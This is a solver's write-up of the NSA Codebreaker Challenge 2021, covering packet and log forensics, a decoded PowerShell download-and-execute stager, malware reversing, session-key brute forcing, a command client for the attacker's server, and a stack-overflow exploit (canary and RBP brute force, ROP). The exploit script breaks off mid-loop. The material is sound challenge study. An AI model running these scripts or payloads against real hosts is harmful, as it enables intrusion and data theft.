This is the NSA Codebreaker Challenge 2021. There are 10 tasks, mostly related to forensics and reverse engineering. It's like reading a story since there are some correlations among those tasks. Here's how I solve it, enjoy~

Task 1

Task 1

I was provided with the IP ranges, and capture.pcap.

Pic 1

Access Statistics -> Endpoints -> IPv4 in Wireshark, and we can get the IPs within the range.

Pic 2

So the answer is

1
2
3
4
172.22.114.148
192.168.62.53
192.168.154.101
198.19.198.122

Task 2

Task 2

oops_subnet.txt

1
192.168.154.96/29

The IP we got within the IP range in task 1 is 192.168.154.101.

In capture.pcap from task 1, we saw the IP access /chairman at 08:40:11 EDT.

Pic 3

Open proxy.log, we can see

1
2021-03-16 08:40:11 42 172.25.239.6 200 TCP_MISS 12734 479 GET http xdjco.invalid chairman - - DIRECT 172.28.66.248 application/octet-stream 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' PROXIED none - 172.25.238.80 SG-HTTP-Service - none -

172.25.239.6 is c-ip, and we should see who logged in to that machine at that time.

To get the login information, I ran cat logins.json | grep 172.25.239.6 | grep LogonId | jq '[.PayloadData3, .TimeCreated] | @csv' > logins_172.25.239.6, and get

Pic 4

And retrieve all the log off information with cat logins.json | grep "logged off"| jq '[.PayloadData3, .TimeCreated] | @csv' > logged_off.

Pic 5

Since the timezone is UTC, we need to minus 4 hours to EDT. So we only need to look at those ID login attempts before 12:40:11 UTC.

By looking up those 9 IDs in logged_off, we can see that nearly every ID logged off at around 12:12 UTC. Only ID 0X3345F1 logged off at 14:29:16 UTC. So that ID is what we are looking for.

Pic 6

Task 3

Task 3

I was provided with 24 emails.

I cat them all and see a suspicious string from line 68 to 80 in message_1.eml.

Pic 7

Pic 8

I decode it using base64, and get

1
powershell -nop -noni -w Hidden -enc JABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AeABkAGoAYwBvAC4AaQBuAHYAYQBsAGkAZAAvAGMAaABhAGkAcgBtAGEAbgAnACkACgAKACQAcAByAGUAdgAgAD0AIABbAGIAeQB0AGUAXQAgADcANgAKAAoAJABkAGUAYwAgAD0AIAAkACgAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBzAC4AbABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgACQAcAByAGUAdgAgAD0AIAAkAGIAeQB0AGUAcwBbACQAaQBdACAALQBiAHgAbwByACAAJABwAHIAZQB2AAoAIAAgACAAIAAkAHAAcgBlAHYACgB9ACkACgAKAGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACkACgA=

There’s another base64 string. Decode it, and get a PowerShell script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$bytes = (New-Object Net.WebClient).DownloadData('http://xdjco.invalid/chairman')

$prev = [byte] 76

$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
    $prev = $bytes[$i] -bxor $prev
    $prev
})

iex([System.Text.Encoding]::UTF8.GetString($dec))

It downloads the data from /chairman, and each byte does XOR with 76.

I fetched the data from capture.pcap, called it chairman, and then wrote a PowerShell script to decode it.

decode.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$bytes = Get-Content -Path .\chairman -Raw

$prev = [byte] 76

$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
    $prev = $bytes[$i] -bxor $prev
    $prev
})

[System.Text.Encoding]::UTF8.GetString($dec)

The output is part2.ps1.

Pic 9

In conclusion, for this task, it wants

  1. the message ID of the malicious email, which is <161582742600.22130.7820950468761108345@oops.net>
  2. the domain name of the server that the malicious payload sends a POST request to, which can be found in part2.ps1, yvotl.invalid.
Pic 10

Task 4

Task 4

I got many SSH2 Public Keys and PuTTY Private Keys with a NTUSER.dat file.

Take a look at part2.ps1 from task 3. We can see that it stores the PuTTY information in \SOFTWARE\SimonTatham\PuTTY\Sessions.

With Registry Explorer, we can open NTUSER.dat and look for the corresponding registry.

Pic 11

Only dkr_prd60.ppk has the Encryption: none among these registries.

Pic 12

The task wants us to provide the hostname and username of the compromised server. Looking back to Registry Explorer, we can get the hostname dkr_prd60 and username builder05.

Pic 13

Task 5

Task 5

There are 3 questions for this task

  1. Enter the email of the PANIC employee who maintains the image
  2. Enter the URL of the repository cloned when this image runs
  3. Enter the full path to the malicious file present in the image

First, we load the image into docker. The image will be loaded as panic-nightly-test:latest.

We can inspect the information with docker image inspect panic-nightly-test, and get the email thurber.emily@panic.invalid.

Pic 14

If we run the docker directly with docker run panic-nightly-test, we can answer the second question, which is https://git-svr-34.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git.

Pic 15

I run the docker with docker run -it panic-nightly-test /bin/bash, and there is a file build_test.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/bin/bash

git clone https://git-svr-34.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git repo

cd /usr/local/src/repo

./autogen.sh

make -j 4 install

make check

With which make, I found that it is /usr/bin/make. I ran strings /usr/bin/make, and many strange strings showed up. It should be the malicious file.

Pic 16

Task 6

Task 6

There are 3 questions for this task

  1. Enter the IP of the LP that the malicious artifact sends data to
  2. Enter the public key of the LP (hex encoded)
  3. Enter the version number reported by the malware

We can first do static analysis on the binary and then do dynamic analysis to extract the values we want.

First, the IP is the output of do_lock(19). The reason is that if you further follow into the function start, you can see that it executes a function open_socket with that as the first argument, and the other argument is port 6666.

Pic 17

Pic 18

Next, the public key is the output of do_lock(18). The reason is that on line 29 it is copied to public_key, and is used on line 36. The corresponding parameter for that encryption function is the public key.

Pic 19

Finally, the version is the output of do_lock(17). The reason is that on line 45, it creates a base64 string, and if you decode it, you can see the string version=1.4.3.0-JJI, and 1.4.3.0-JJI is the output of do_lock(17).

Pic 20

Task 7

Task 7

We need to provide the plaintext a client would send to initialize a new session with the provided UUID for this task. I got the UUID 20c14b59-a187-468b-9109-93f82ee07cf4.

The function to create plaintext is on line 61 create_message.

Pic 21

Before dynamic analysis, I run echo 0 | sudo tee /proc/sys/kernel/randomize_va_space on the host to disable ASLR, which can be easier for my investigation.

I also installed some packages in the docker, including gdb, curl, git, gef, etc.

And I cloned a random GitHub repository and named it repo in the docker because the binary will gather information from repo.

After that, I create a file .gdbinit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
set follow-fork-mode parent
shell rm /tmp/.gglock
set $base=0x555555554000
b main
r
# after open_socket
b *($base+0x5a71b)
c
set $rax = 5
# after encrypt_and_send
b *($base+0x5a75e)
c
set $rax = 0
# create_message
b *($base+0x5a7ad)
c
set *0x7ffff77ff670=0x594bc120
set *0x7ffff77ff674=0x8b4687a1
set *0x7ffff77ff678=0xf8930991
set *0x7ffff77ff67c=0xf47ce02e

First, it deletes /tmp/.gglock because the binary will check the file does not exist. And then, we stop after open_socket, and changes $rax to 5, pretending the connection to the remote server is successful. After encrypt_and_send, we break again and set $rax to 0, pretending that the fingerprint is sent with no error. Finally, we stop before create_message, and modify the value of p_uuid to the UUID we got.

Run gdb /usr/bin/make -x .gdbinit, it will stop before running create_message, and we can see the UUID, which is $rsi, is being set to the value we provided.

Pic 22

Execute ni for next instruction, and dump the bytes from the output, and we can get the plaintext 1e7cc0604800000200024808001020c14b59a187468b910993f82ee07cf4ef0bdff6.

Pic 23

Task 8

Task 8

To solve this task, I have to fully understand what the binary is doing.

Line 45 creates the fingerprint, a base64-encoded string of username, version, system name, and timestamp.

Line 48 creates a session_key with username, version, and timestamp. In the function, it concatenates the element and does the sha256 hash.

Line 56 will encrypt the fingerprint with a randomly created key pair and send it to the server. Since the key pair is randomly generated and not used anymore in the binary, we have no clue to decrypt this message.

Line 61 takes the UUID as input and adds some headers to it. The output is pushed into messages.

Pic 24

Line 92 creates other messages with the information from repo and pushes them into messages.

Pic 25

Line 107 encrypts those messages and pushes them into ciphertexts.

Pic 26

Finally, line 123 sends those ciphertexts to the remote server.

Pic 27

Here is the create_ciphertext function. It encrypts the message with randomly generated nonce and the session key, and the nonce is then appended to the ciphertext.

Pic 28

So, we can brute force on the session key and focus on the message created on line 61, which should be the second message sent to the server, and I found that its length is always 78 bytes.

Pic 29

I make a script to create session keys by trying different combinations of username, version, and timestamp. Get the nonce from the data, and try to decrypt the ciphertext, which can also be found from data, with nonce and session key. If it succeeds, we get the correct username, version, and timestamp to the corresponding IP address. We can also get the UUID from the plaintext.

The first version of my script looks like this.

brute-version1.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
import libnacl
import string
import sys
from itertools import product

# 4 + 24 + 50
timestamp = 1615898449
path = '../data/data_172_19_1_72.bin'
f = open(path, 'rb')
line = f.read()
f.close()
print(line)
nonce = line[4:28]
ciphertext = line[28:]

def fpTok(username, version, timestamp):
	m = hashlib.sha256()
	key_str = username + "+" + version + "+" + str(timestamp)
	m.update(key_str.encode())
	return m.digest()

def brute_force(ciphertext, nonce, timestamp):
	start = timestamp-5
	end = timestamp
	for n in range(4, 8):
		usernames = product(string.ascii_lowercase, repeat=n)
		print("username length", n)
		for user in usernames:
			username = ''.join(user)
			versions = product(string.digits, repeat=3)
			for v in versions:
				for o in range(0, 4):
					version = str(o) + '.' + '.'.join(v)
					for m in range(start, end):
						session_key = fpTok(username, version, m)
						try:
							plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
							print("Successfully decrypt !!!!")
							print(f"username: {username}, version: {version}, timestamp: {m}")
							return 0
						except:
							pass					

brute_force(ciphertext, nonce, timestamp)

I tried username from length 4 to 7, version from regex [0123].digit.digit.digit, 4000 combinations in total, and getting timestamp from the time of getting the packet, with a deviation of -5 to 0 (From timestamp-5 to timestamp)

With this script, I successfully get 3 of them.

Pic 30

Pic 31

Pic 32

But later, I found that it was too slow, so I looked up the lists in SecLists for a list containing root, aniko, and addia. And I found the wordlist Usernames/Names/names.txt with 10177 entries that match my requirement.

So, I used this wordlist.

brute-version2.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
import libnacl
import sys
import string
from itertools import product

timestamp = 1615898436
path = '../data/data_192_168_148_150.bin'
f = open(path, 'rb')
line = f.read()
f.close()
print(line)
nonce = line[4:28]
ciphertext = line[28:]

def fpTok(username, version, timestamp):
	m = hashlib.sha256()
	key_str = username + "+" + version + "+" + str(timestamp)
	m.update(key_str.encode())
	return m.digest()

def brute_force(ciphertext, nonce, timestamp):
	start = timestamp-8
	end = timestamp+2
	count = 0
	f = open("names.txt", "r")
	usernames = f.readlines()
	f.close()
	for username in usernames:
		count += 1
		username = username.rstrip()
		print(username)
		versions = product(string.digits, repeat=3)
		for v in versions:
			for o in range(0, 4):
				version = str(o) + '.' + '.'.join(v)
				for m in range(start, end):
					session_key = fpTok(username, version, m)
					try:
						plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
						print("Successfully decrypt !!!!")
						print(f"username: {username}, version: {version}, timestamp: {m}")
						print(f"count: {count}")
						return 0
					except:
						pass
							
brute_force(ciphertext, nonce, timestamp)

And got all the rest 😃

Pic 33

Pic 34

Pic 35

I created a script to extract the UUID, which is a reversing script of function create_message on line 61.

extract_message.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
#!/usr/bin/env python3

import hashlib
import libnacl
import socket
from pwn import *

param_map = {0x4800: 'cmd', 0x4808: 'uuid', 0x4814: 'dirname', 0x481c: 'filename', 0x4820: 'contents', 0x4824: 'more', 0x4828: 'code'}
command_map = {0x2: 'init', 0x6: 'upload', 0x7: 'fin'}

"""
# exp1
path = './data/data_172_19_1_72.bin'
username = "root"
version = "1.4.3.0"
timestamp = 1615898447
# 0x096892310be84c2db64195d417881bfc
"""
"""
# exp2
path = './data/data_192_168_148_150.bin'
username = "france"
version = "1.0.3.6"
timestamp = 1615898435
# Data: 0x176cbb813f9a4778a4e79d6a26ceaf3c
"""
"""
# exp3
path = './data/data_198_19_198_122.bin'
username = "addia"
version = "1.1.7.9"
timestamp = 1615898423
# 0x096892310be84c2db64195d417881bfc
"""
"""
# exp4
path = './data/data_172_27_184_23.bin'
username = "aniko"
version = "0.0.4.3"
timestamp = 1615898410
# 0x053053a35624496781ff0a70250d331b
"""
"""
# exp5
path = './data/data_172_22_114_148.bin'
username = "roish"
version = "1.7.1.9"
timestamp = 1615898373
# 0x1106906392414826b23997300fc4ecb0
"""

# exp6
path = './data/data_192_168_62_53.bin'
username = "georgianne"
version = "1.9.4.7"
timestamp = 1615898362

f = open(path, 'rb')
line = f.read()
f.close()
nonce = line[4:28]
ciphertext = line[28:]

def fpTok(username, version, timestamp):
	m = hashlib.sha256()
	key_str = username + "+" + version + "+" + str(timestamp)
	m.update(key_str.encode())
	return m.digest()

def decipher(ciphertext, nonce, username, version, timestamp):
	session_key = fpTok(username, version, timestamp)
	plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
	return plaintext

message = decipher(ciphertext, nonce, username, version, timestamp)
#print(message)

magic_start = 0x1E7CC060
magic_end = 0x0EF0BDFF6

assert message[0:4] == p32(socket.htonl(magic_start))

start = 4

while message[start:start+4] != p32(socket.htonl(magic_end)):
	param = socket.ntohs(u16(message[start : start + 2]))
	data_length = socket.ntohs(u16(message[start + 2 : start + 4]))
	
	data = ""
	for b in message[start + 4: start + 4 + data_length]:
		data += "0x{:02x}".format(b)[2:]
	data = "0x" + data

	print(f"Param: {hex(param)} => {param_map[param]}")
	print(f"Data length: {hex(data_length)}")
	if param_map[param] == 'cmd':
		print(f"Data: {data} => {command_map[int(data, 16)]}")
	else:
		print(f"Data: {data}")

	start += 2 + 2 + data_length

The param_map and command_map can be found in the binary.

Pic 36

The task is asking the UUID associated with the DIB. If we look up the ip_ranges.txt from task 1, we only need to provide the UUID from these 3 addresses

1
2
3
172.22.114.148
192.168.62.53
198.19.198.122

So the result is

1
2
3
11069063-9241-4826-b239-97300fc4ecb0
459a62bb-d1ff-4322-9180-1946fbc30d43
5d74edb6-a6b2-416d-b195-dd9919098dcf

Task 9

Task 9

Starting from this task, I can communicate with the LP.

We have to see who has registered with the LP for this task,

First, I want to know how the protocol works.

Since I have the session key, I tried to decrypt all the other data from capture.pcap from task 1 and see what they are doing.

With deeper investigation, I found even more commands and parameters used in communication. This is the final version of my script.

interact.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#!/usr/bin/env python3

import hashlib
import libnacl
import libnacl.utils
import socket
import os
import base64
import time
from pwn import *


host = "54.164.13.70"
port = 6666

param_map = {0x4800: 'cmd', 0x4808: 'uuid', 0x4814: 'dirname', 0x4818: 'list', 0x481c: 'filename', 0x4820: 'contents', 0x4824: 'more', 0x4828: 'code'}
command_map = {0x0002: 'init', 0x0003: 'pwd', 0x0004: 'ls', 0x0005: 'cat', 0x0006: 'upload', 0x0007: 'fin'}

cmd = ""
dirname = ""
filename = ""

uuid = "09689231-0be8-4c2d-b641-95d417881bfd"
username = "l3o"
version = "1.4.3.0-JJI"
sysname = "Linux"
timestamp = 0x6050a74f

def lengthHeader(bodyLen):
    length_header = b"\x1a\x5e"
    v2 = socket.ntohs(u16(length_header))
    
    retstr = length_header + p16(socket.htons(((0x10000000000000000 + (bodyLen - v2)) & 0xffff)))
    return retstr

def create_share_info(fingerprint):
    #pk, sk = libnacl.crypto_box_keypair()
    pk = b"\xa9\xd5\x02\xee\x97\x51\x8c\x0d\xe9\xc6\x32\xf2\x10\xca\x57\xfa\x10\x35\x17\x9e\x93\x32\xbd\xac\x55\x65\xa5\x5c\x34\xdc\x4e\x0b"
    sk = b"\x77\x34\xc7\x5f\x41\xf6\x6e\x48\x4b\x87\x6f\x22\xb6\x0a\x2a\x99\x18\x1b\x38\xfa\x81\xcf\x4a\x9c\x96\x1e\x62\x54\x75\xb0\x40\x32"
    receiver_pubkey = b"\x67\x9e\xb3\x63\x58\x89\x31\xc2\x7b\xcb\xcb\x5c\xd7\x1f\xc0\xf3\x20\xce\xe4\xff\x0c\xa3\xe7\x11\xef\x3c\x15\xd5\x7e\x2a\xd2\x5f"
    #nonce = libnacl.utils.rand_nonce()
    nonce = b"\x8c\x75\x8b\x54\x8f\x9f\x2a\x17\xf5\x22\x49\xf9\xe9\xf2\x26\xe8\x01\x5c\xba\x0f\x5e\x44\x1d\xa0"
    ciphertext = libnacl.crypto_box(fingerprint, nonce, receiver_pubkey, sk)
    
    bodyLen = 0x18 + len(ciphertext)
    
    header = lengthHeader(bodyLen)

    payload = pk + header + nonce + ciphertext
    
    return payload

def create_fingerprint(username, version, sysname, timestamp):
    output = ["username="+username, "version="+version, "os="+sysname, "timestamp="+str(timestamp)]
    return ','.join(base64.b64encode(o.encode("utf-8")).decode("utf-8") for o in output).encode()
   

def fpTok(username, version, timestamp):
    version_short = version.split("-")[0]
    m = hashlib.sha256()
    key_str = username + "+" + version_short + "+" + str(timestamp)
    m.update(key_str.encode())
    return m.digest()

def decrypt(recv_data):
    
    nonce = recv_data[4:28]
    ciphertext = recv_data[28:]

    message = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)

    interpret(message)

def encrypt(packet):
    nonce = b"\x8c\x75\x8b\x54\x8f\x9f\x2a\x17\xf5\x22\x49\xf9\xe9\xf2\x26\xe8\x01\x5c\xba\x0f\x5e\x44\x1d\xa0"
    ciphertext = libnacl.crypto_secretbox(packet, nonce, session_key)

    bodyLen = 0x18 + len(ciphertext)
    header = lengthHeader(bodyLen)

    encrypted_packet = header + nonce + ciphertext

    return encrypted_packet

def interpret(message):
    global cmd, dirname, filename

    magic_start = 0x1E7CC060
    magic_end = 0x0EF0BDFF6

    assert message[0:4] == p32(socket.htonl(magic_start))

    start = 4

    while message[start:start+4] != p32(socket.htonl(magic_end)):
        param = socket.ntohs(u16(message[start : start + 2]))
        data_length = socket.ntohs(u16(message[start + 2 : start + 4]))

        data = ""
        for b in message[start + 4: start + 4 + data_length]:
            data += "0x{:02x}".format(b)[2:]
        if data != "":
            data = "0x" + data
        try:
            print(f"Param: {hex(param)} => {param_map[param]}")
        except:
            print(f"Param: {hex(param)} => unknown parameter")
            print(f"Data: {data}")
            start += 2 + 2 + data_length
            continue

        print(f"Data length: {hex(data_length)}")

        
        if param_map[param] == 'cmd':
            try:
                print(f"Data: {data} => {command_map[int(data, 16)]}")
                cmd = command_map[int(data, 16)]
            except:
                print(f"Data: {data} => unknown command")
                cmd = ""
            
        elif param_map[param] == 'dirname':
            bytes_object = bytes.fromhex(data[2:])
            dirname = bytes_object.decode("ASCII")

            dirname = dirname[:-1]
            print(f"Data: {data} => {dirname}")
            
            if cmd == "upload":
                os.system(f"mkdir {dirname}")

        elif param_map[param] == 'filename':
            bytes_object = bytes.fromhex(data[2:])
            filename = bytes_object.decode("ASCII")

            filename = filename[:-1]
            print(f"Data: {data} => {filename}")

        elif param_map[param] == 'contents':
            if data == "":
                print(f"Data: empty")
            
            
            if cmd == "upload":
                print(f"Data: {data}")

                f = open(f"{dirname}/{filename}", "ab")
                for i in range(2, len(data), 2):
                    f.write(p8(int("0x" + data[i:i+2], 16)))
                f.close()

            elif cmd == "cat":
                bytes_object = bytes.fromhex(data[2:])
                content = bytes_object.decode("ASCII")
                print(f"Data: {data} => {content}")

                f = open(f"{filename}", "ab")
                for i in range(2, len(data), 2):
                    f.write(p8(int("0x" + data[i:i+2], 16)))
                f.close()
            else:
                print(f"Data: {data}")

        elif param_map[param] == 'list':
            bytes_object = bytes.fromhex(data[2:])
            output = bytes_object.decode("ASCII")
            output = output[:-1]
            print(f"Data: {data} => {output}")
            
        else:
            print(f"Data: {data}")
        
        
        start += 2 + 2 + data_length

def create_packet(m):
    packet = b""
    magic_start = 0x1E7CC060
    magic_end = 0x0EF0BDFF6

    packet += p32(socket.htonl(magic_start))

    for key in m:
        param = list(param_map.keys())[list(param_map.values()).index(key)]
        packet += p16(socket.htons(param))
        
        if key == 'cmd':
            command = list(command_map.keys())[list(command_map.values()).index(m[key])]
            packet += p16(socket.htons(2)) + p16(socket.htons(command))
        
        elif key == 'uuid':
            packet += p16(socket.htons(16))
            uuid = m[key].replace('-', '')
            for i in range(0, len(uuid), 2):
                packet += p8(int("0x" + uuid[i:i+2], 16))
        else:
            #print(key)
            data = m[key]
            if key == 'dirname' or key == 'filename':
                data += "\x00"
            
            if key != 'more':
                packet += p16(socket.htons(len(data)))
                for ch in data:
                    #print(ch)
                    packet += p8(ord(ch))
            else:
                packet += p16(socket.htons(1)) + p8(data)
        

    packet += p32(socket.htonl(magic_end))
    return packet

fingerprint = create_fingerprint(username, version, sysname, timestamp)
#print(fingerprint)
session_key = fpTok(username, version, timestamp)
share_info = create_share_info(fingerprint)

p = remote(host, port)
p.send(share_info)


while True:
    print("")
    print("> ", end='')
    my_input = input().split()
    print("")
    cmd = my_input[0]

    packet_map = {
        'cmd': cmd,
        'uuid': uuid
    }

    if cmd == 'ls':
        packet_map['dirname'] = my_input[1]
    elif cmd == 'cat':
        packet_map['dirname'] = my_input[1]
        packet_map['filename'] = my_input[2]
    elif cmd == 'upload':
        packet_map['dirname'] = my_input[1]
        packet_map['filename'] = my_input[2]
        try:
            f = open(my_input[3], "r")
        except:
            print("[-] No such file or directory !!!")
            continue
        content = f.read()
        f.close()
        packet_map['contents'] = content
        packet_map['more'] = 0
    elif cmd == 'exit':
        break
    

    packet = create_packet(packet_map)
    print("================= Request =================")
    interpret(packet)
    print("")
    encrypted_packet = encrypt(packet)
    p.send(encrypted_packet)
    recv_data = p.recv(4096, timeout=1)
    print("================= Response =================")
    decrypt(recv_data)

p.close()

I created the fingerprint and session key and did the same thing as the binary do, sending the encrypted fingerprint to the server.

And then, I created an interactive interface. I can do ls, pwd, cat, and upload commands to the server.

With pwd, I found I am in /tmp/endpoints/09689231-0be8-4c2d-b641-95d417881bfd, and 09689231-0be8-4c2d-b641-95d417881bfd is the UUID I provided to the server.

I execute ls /tmp/endpoints/, and see all other UUIDs, which are the ID registered with the LP.

Pic 37

So the answer is

1
2
3
4
5
3f2230b6-4c7c-469b-a67d-46f29ac95f55
bc159c5b-41d4-4635-8148-7dbc79473dc8
5d429948-fb2a-4a81-810c-206cab1e115a
b1d94b6b-2a82-4725-88c6-e46c8d1e582f
86761eed-061b-4769-8c78-b622a41a44dd

Task 10

Task 10

First, we need to gain access to the LP.

I took a look at the /home directory, and found .ssh directory under /home/lpuser/. There is id_rsa inside, so I do cat /home/lpuser/.ssh id_rsa to download the ssh private key. And then, I can make an SSH connection to the LP.

After that, we can see in /home/psuser, there is a binary powershell_lp, some log files, and runPs.sh, which runs powershell_lp.

Pic 38

Pic 39

runPs.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/bin/bash

echo "Powershell LP Loop -- Start"
sleep 30
cd /home/psuser/
while [ 1 ]
do
	if [ -f "/tmp/stop_ps" ]; then
		echo "Powershell LP -- Break"
		break
	fi	
	echo "Powershell LP -- Start"
	./powershell_lp 
	sleep 10
done

echo "Powershell LP Loop -- Exit"

We need to make an exploit for this binary, and get user access as psuser. I’ll show you how I did that.

Before I started, I found that IDA could not identify most of the functions in the binary, so I imported some FLIRT Signatures, trying to identify them. You can find the signature database here.

As you can see, I got 411 functions identified with signatures from libc6 version 2.27. Now let’s see what the binary does.

Pic 40

First, it opens the port on 8080 and opens 2 files, ps_server.log and ps_data.log.

Pic 41

On line 40, there is a fork. The child process will handle the connection. And on line 30, there is a signal. The handler will write the strings to ps_server.log when the connection from the client ends.

Pic 42

Pic 43

What the child does is in sub_9669.

It reads the content length from the request, stored in v6, and the max value is 4096. Next, it reads that amount of data from recv_data and stores it on the stack. And it will write the data with some other information to ps_data.log.

Pic 44

However, there is a vulnerability in recv_data. It seems that when a3 is 4096, we cannot read over that value. But on line 10, if we read 4095 bytes, after line 14, v5 will still be less than v3, so line 10 is executed again, and we can see that the maximum size that read to the stack is still 4096, so we can read another 4096 bytes, it will cause a stack overflow.

Pic 45

Does it mean that we can control RIP? No, it’s not that easy 🥲

There are many protections: NX, and ASLR.

P.S. Although it says “No canary found”, there are actually canaries.

Pic 46

How can we deal with those protections 🤔

This is why there is ps_server.log.

Typically, if the child exits successfully, it will write Child ... exited with status 0 into ps_server.log.

If the canary is being overwritten, and the value is not the same as before, __stack_chk_fail will be executed. In that case, it will write Child ... exited due to signal ... to ps_server.log. Since powershell_lp does not exit after the signal handler, the canary will be the same. We can brute force it byte by byte. If we get status 0 in the log, we get the correct byte.

The next one is RBP. We can use the same technique as the canary.

And then, since NX is enabled, I am going to do ROP. But before ROP, we have to know the base address of the binary.

To find the base address of the binary, we can first try to get the original RIP. From dynamic analysis, I already know that the last 2 bytes of RIP are always 0x895f, and the offset is 0x995f in the binary, which is _close on line 47. We just need to brute force the other 6 bytes to get the valid RIP, minus 0x995f, and get the base address.

Pic 47

After that, I create a ROP chain that reads my input as filename and stores it on the stack, opens the file, reads the content to the stack, and writes it to the socket.

Here is the script

exp.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python

from pwn import *
import time
import subprocess

elf = context.binary = ELF("./powershell_lp")
context.update(arch='amd64', os='linux')

host = "54.208.57.135"
port = 8080

s = ssh(user="lpuser", host=host, keyfile="id_rsa")

canary = "\x00"
#canary = "\x00\xe0\xe8\xdc\x85W\xc5["

not_found = True
for i in range(7):
	for j in range(256):
		p = remote(host, port)
		p.send("Content-Length: -1\r\n\r\n")
		p.send("A" * 4095)
		time.sleep(0.3)
		payload = "B" * 9 + canary + p8(j)
		p.send(payload)
		time.sleep(0.3)
		p.close()

		out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
		if "status 0" in out:
			canary += p8(j)
			print("canary", canary)
			not_found = False
			break
	if not_found:
		print("Canary Not Found oh my god???")
		for ch in canary:
			print(hex(u8(ch)))
		exit(0)
	not_found = True

rbp = "\x80"
#rbp = "\x80\x00\nJ\xff\x7f\x00\x00"

not_found = True
for i in range(7):
	for j in range(256):
		p = remote(host, port)
		p.send("Content-Length: -1\r\n\r\n")
		p.send("A" * 4095)
		time.sleep(0.3)
		payload = "B" * 9 + canary + "B" * 16 + rbp + p8(j)
		p.send(payload)
		time.sleep(0.3)
		p.close()

		out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
		if "status 0" in out:
			rbp += p8(j)
			print("rbp", rbp)
			not_found = False
			break
	if not_found:
		print("RBP Not Found oh my god???")
		for ch in rbp:
			print(hex(u8(ch)))
		print("canary", canary)
		exit(0)
	not_found = True


rip = "\x5f\x89"
not_found = True
for i in range(6):
	for j in range(256):
		p = remote(host, port)
